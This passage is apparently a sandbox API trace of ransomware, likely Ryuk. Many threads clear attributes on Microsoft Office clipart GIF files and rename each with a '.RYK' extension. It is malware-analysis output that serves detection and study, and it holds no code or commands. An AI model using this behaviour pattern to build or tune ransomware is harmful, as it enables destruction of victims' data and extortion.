	[0284.130] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3763
	os_tid = 0x3fb0

	[0284.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF", dwFileAttributes=0x80) returned 0
	[0284.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.132] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.132] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3764
	os_tid = 0x3fb4

	[0284.133] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF", dwFileAttributes=0x80) returned 0
	[0284.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.133] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.134] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3765
	os_tid = 0x3fb8

	[0284.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF", dwFileAttributes=0x80) returned 0
	[0284.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.135] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.135] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3766
	os_tid = 0x3fbc

	[0284.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF", dwFileAttributes=0x80) returned 0
	[0284.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.137] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.137] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3767
	os_tid = 0x3fc0

	[0284.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF", dwFileAttributes=0x80) returned 0
	[0284.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.139] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.139] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3768
	os_tid = 0x3fc4

	[0284.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF", dwFileAttributes=0x80) returned 0
	[0284.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.481] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.481] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3769
	os_tid = 0x3fc8

	[0284.142] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF", dwFileAttributes=0x80) returned 0
	[0284.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.479] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.479] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3770
	os_tid = 0x3fcc

	[0284.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF", dwFileAttributes=0x80) returned 0
	[0284.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.477] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.477] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3771
	os_tid = 0x3fd0

	[0284.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF", dwFileAttributes=0x80) returned 0
	[0284.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.476] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.476] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3772
	os_tid = 0x3fd4

	[0284.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF", dwFileAttributes=0x80) returned 0
	[0284.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.475] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.475] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3773
	os_tid = 0x3fd8

	[0284.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF", dwFileAttributes=0x80) returned 0
	[0284.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.305] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.305] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3774
	os_tid = 0x3fdc

	[0284.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF", dwFileAttributes=0x80) returned 0
	[0284.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.148] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.148] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3775
	os_tid = 0x3fe0

	[0284.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF", dwFileAttributes=0x80) returned 0
	[0284.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.311] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.312] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3790
	os_tid = 0x3d20

	[0284.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF", dwFileAttributes=0x80) returned 0
	[0284.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.315] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.316] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3791
	os_tid = 0xab8

	[0284.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF", dwFileAttributes=0x80) returned 0
	[0284.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.310] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.311] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3792
	os_tid = 0x2638

	[0284.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF", dwFileAttributes=0x80) returned 0
	[0284.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.313] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.313] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3793
	os_tid = 0x23b8

	[0284.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF", dwFileAttributes=0x80) returned 0
	[0284.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.314] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.315] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3794
	os_tid = 0x844

	[0284.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF", dwFileAttributes=0x80) returned 0
	[0284.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.327] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.327] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3795
	os_tid = 0x3e48

	[0284.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF", dwFileAttributes=0x80) returned 0
	[0284.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.328] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.328] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3796
	os_tid = 0x3e88

	[0284.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF", dwFileAttributes=0x80) returned 0
	[0284.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.319] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.319] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01300_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3797
	os_tid = 0x3e44

	[0284.320] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF", dwFileAttributes=0x80) returned 0
	[0284.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.329] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.329] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01301_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01301_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3798
	os_tid = 0x3d1c

	[0284.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF", dwFileAttributes=0x80) returned 0
	[0284.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.330] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.330] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01304G.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01304g.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3799
	os_tid = 0x3b50

	[0284.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF", dwFileAttributes=0x80) returned 0
	[0284.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.331] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.331] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3800
	os_tid = 0x3b4c

	[0284.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF", dwFileAttributes=0x80) returned 0
	[0284.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.332] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.332] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3801
	os_tid = 0x3c74

	[0284.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF", dwFileAttributes=0x80) returned 0
	[0284.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.333] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.333] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3814
	os_tid = 0x3b54

	[0284.568] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF", dwFileAttributes=0x80) returned 0
